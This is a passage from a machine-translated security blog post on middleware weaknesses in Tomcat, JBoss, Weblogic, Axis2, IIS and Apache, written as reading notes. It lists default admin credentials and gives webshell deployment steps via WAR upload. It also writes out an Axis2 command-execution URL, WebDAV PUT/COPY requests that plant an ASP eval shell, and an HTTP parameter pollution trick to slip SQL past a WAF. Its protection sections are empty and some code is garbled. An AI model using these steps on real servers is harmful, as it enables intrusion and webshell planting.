IMCAFS

 Home

on the loopholes and protection of middleware

Posted by santillano at 2020-02-27
all

Published on May 25, 2017 | classified in Web Security | heat degree ℃

Middleware vulnerability can be said to be the most easily ignored vulnerability by web administrators. The reason is very simple, because it is not a vulnerability in application code, but due to the improper configuration or use of an application deployment environment. So from the actual situation, the biggest difficulty to prevent this kind of vulnerability lies in who is responsible for the middleware security? We often encounter such a situation when dealing with emergency response events. The customer website code is outsourced, that is, the third-party company is responsible for development, and the deployment may be in the charge of the internal operation and maintenance personnel of the customer. Not to mention the importance and understanding of middleware security, but to talk about how to deal with vulnerabilities after they are found is a mess. Developers say that it's not a code problem. They follow the security development process (SDL) completely, so it has nothing to do with them. The operation and maintenance personnel cover up and retort: you didn't tell me what to configure at the beginning, just let me install a program. How do I know? In addition, the lack of middleware security awareness of developers and operation and maintenance personnel is also an important factor. Some developers may carry out security inspection on their own code, but it is not enough to only review the code part. This article is used to record and summarize some common web middleware vulnerabilities and protection problems (only some of them are recorded, not all of them). Part of the content is excerpted from the book "white hat talks about web security" by Daoge, which can be regarded as reading notes or reading afterthoughts.

Can middleware, container and server be confused?

When talking about middleware security, I think it is necessary to sort out the above relationships and concepts. When I first contacted these concepts, my mind was a mess of paste. Middleware, container, server, web server and other concepts felt very similar to each other, but they were different. Therefore, when I wrote this article, I went through some materials specially, trying to sort out the relationship between them, and referred to the article: http://www.voidcn.com/blog/saoraozhe3hao/article/p-2428756.html

Basic concepts and functions

Only web middleware, web server and web container are introduced here, because in addition to web, its concept can also be extended to database and so on.

Web server

The web server is used to provide HTTP services, that is, to return information to the client. It can process HTTP protocol, respond to requests for static pages or pictures, control page Jump, or delegate dynamic requests to other programs (middleware programs), etc.

Web Middleware

Web middleware is used to provide the connection between system software and application software, so as to facilitate the communication between software components. It can provide a container for one or more applications.

Web container

Web container is used to provide an environment for the application components (JSP, servlet) in it. It is a component of middleware, which implements the analysis of dynamic language. For example, Tomcat can parse JSP because there is a JSP container inside it.

Category

Web servers: IIS, Apache, nginx, Tomcat, Weblogic, WebSphere, etc. Web middleware: Apache tomcat, BEA Weblogic, IBM WebSphere, etc. Web container: JSP container, servlet container, ASP container, etc.

Note: there is overlap between web middleware and web server, because Web middleware such as Tomcat also has the function of web server.

Key analysis

Web server only provides static web page parsing (such as APACHE), or provides such a service as jump. Web middleware (including web container) can parse dynamic language, for example, Tomcat can parse JSP (because Tomcat contains JSP container), of course, it can also parse static resources, so it is both web middleware and web server. However, Tomcat can not parse static resources as fast as Apache, so it is often used in combination.

Tomcat vulnerability and protection

Tomcat is a middleware software of Apache, which can provide JSP or PHP parsing services. In order to facilitate remote management and deployment, after Tomcat is installed, there will be a management page by default. The administrator only needs to upload a file in the form of war remotely, and then the content can be published to the website. This function is convenient for the administrator and also opens a convenient door for hackers In addition, Tomcat also has some sample pages, which can cause security problems if not handled properly.

Tomcat remote deployment vulnerability details

Tomcat management address is usually:

One

Http://localhost:8080/manager

Default account password:

One

Two

Three

Four

Root/root

tomcat/tomcat

Admin admin

Admin 123456

Tomcat password explosion

Blasting is invalid when Tomcat is not configured by default, but can be done if the account password is set. Tomcat has weak authentication, Base64 (user name: password) code, and request response code if it is not 401 (unauthorized: access is denied due to invalid credentials.) The login is successful. After successful login, you can directly upload the war file, getshell (of course, you need manager permission to upload the war file)

Getshell procedure

First, package our. JSP SHELL file as a war file:

One

jar -cvf shell.war shell.jsp

After logging into the management page, select upload war file. The directory in the middle of the screenshot is the Trojan file after the upload is successful. You can click to browse. Access shell.jsp directly in the current directory.

Session example sample page

Default address:

One

http://localhost/servlets-examples/servlet/SessionExample

Used to set arbitrary session variables. Malicious use can damage the application.

Tomcat vulnerability protection

JBoss vulnerability and protection

JBoss is an application server based on Java EE. Similar to tomcat, JBoss has a remote deployment platform, but does not need to log in. The vulnerability exploitation process is similar to tomcat, so the screenshot will not be explained. In addition to the remote deployment vulnerability, JBoss also has a deserialization vulnerability, which will not be detailed here.

JBoss remote deployment vulnerability details

Default management background address:

One

http://localhost:8080

Getshell procedure

Visit the management page and view the JMX console in the JBoss configuration page. This is the JBoss management platform program. After entering, find the jboss.deployment package, which has the option of flash = URL. Type = deploymentsccanner. After entering the deployment page, you can upload the war file, but unlike tomcat, it is not a local upload war file, but a remote address download, so you need to prepare a file server for remote downloading war to the target JBoss server. The specific method is to find the "Addurl" method on the deployment page, enter the URL address, and click invoke. In addition to the above methods, the BSH method provided by JMX console can also deploy the war package.

JBoss vulnerability protection

Weblogic vulnerability and protection

Weblogic is a middleware based on Java EE architecture. After installation, Weblogic will listen to port 7001 by default. The vulnerability exploitation process is similar to tomcat, so the screenshot will not be explained.

Weblogic remote deployment vulnerability details

Default background address:

One

http://localhost:7001/console/login/loginForm.jsp

Account password:

Getshell procedure

After successfully logging in the Weblogic background, find the deployment button, click and select install, then you can choose to upload the war package locally or use the remote URL to download. After the deployment, Weblogic will give the file address.

Weblogic vulnerability protection

Axis2 vulnerability and protection

Axis2 is also a project of Apache, a new generation of soap engine, which has an arbitrary command execution vulnerability. (the vulnerability comes from the sky mending platform)

Axis2 Command Execution Vulnerability details

Default background address:

One

http://localhost/axis2-admin/

Default account password: after login of admin and Axis2, the effect is as follows: execute the system command POC

One

http://localhost/services/Axis2Shell/execCmd?cmd=whoami

IIS vulnerability and protection

IIS is a web server of Microsoft, which is easy to generate WebDAV vulnerability due to its improper configuration. WebDAV itself is an extension function of IIS. After it is enabled, it can use some request types other than get and post, such as put. However, if it is not configured properly, it will lead to file upload vulnerability. In addition to the WebDAV vulnerability, a remote command execution vulnerability has recently been exposed. Specific steps: iis6.0 remote command execution vulnerability (cve-2017-7269)

IIS WebDAV vulnerability details

When testing whether a web Dav vulnerability exists in a site, you can first construct an options request. If 200 is returned, you can check which methods (which can be requested) are included in the allow parameter of the return header.

One

Two

OPTIONS / HTTP/1.1

Host:thief.one

If there is a put method, you can try to write a TXT file.

One

Two

Three

Four

Five

PUT /shell.txt HTTP/1.1

HOST:thief.one

Content-length:30

<%eval request("nmask")%>

If 200 is returned, the upload is successful. At this time, you can manually access the file to confirm whether it exists. Of course, it is possible to return 403, which means that this directory does not have upload permission. You can try to upload to other directories. Change the file suffix by moving or copy.

One

Two

Three

COPY /shell.txt HTTP/1.1

HOST:thief.one

Destination:http://thief.one/shell.asp

IIS vulnerability protection

Apache vulnerability and protection

Apache itself has some vulnerabilities, such as slow HTTP vulnerability. Of course, the official view is that it is a feature of Apache rather than a vulnerability. However, it has been proved to be very harmful. In addition to the slowhttp vulnerability, there are many deserialization or remote command execution vulnerabilities in its third-party moudle.

Apache slowhttp vulnerability details

About the loophole of slow HTTP, please move: on DDoS attack and defense

HPP vulnerability

HPP vulnerability is a problem when the web container processes HTTP parameters. The previous web servers all have such problems more or less.

One

Two

Three

Four

<? PHP

$STR = $﹐ the get / post function is acceptable.

Echo $str;

> >

For example, visit URL:

One

http://www.xxx.com/index.php?str=hello

The page displays Hello, but if you visit:

One

http://www.xxx.com/index.php?str=hello&str=world&str=nmask

At this time, the page displays nmask, overwriting the value of the previous parameter, which is HTTP parameter pollution.

Using scenarios

Bypass the WAF, such as:

One

PHP:index.php?str=1&str=select * from admin --

Because WAF may check the first word of the value, if it is select, it will trigger, so that the child can avoid being triggered.

Portal

In addition to the above vulnerabilities, web servers also have some vulnerabilities in parsing dynamic languages. Move: server parsing vulnerability | nmask 'blog

Welcome to sweep the WeChat official account above and subscribe to my blog!

Popular article recommendation:

© 2023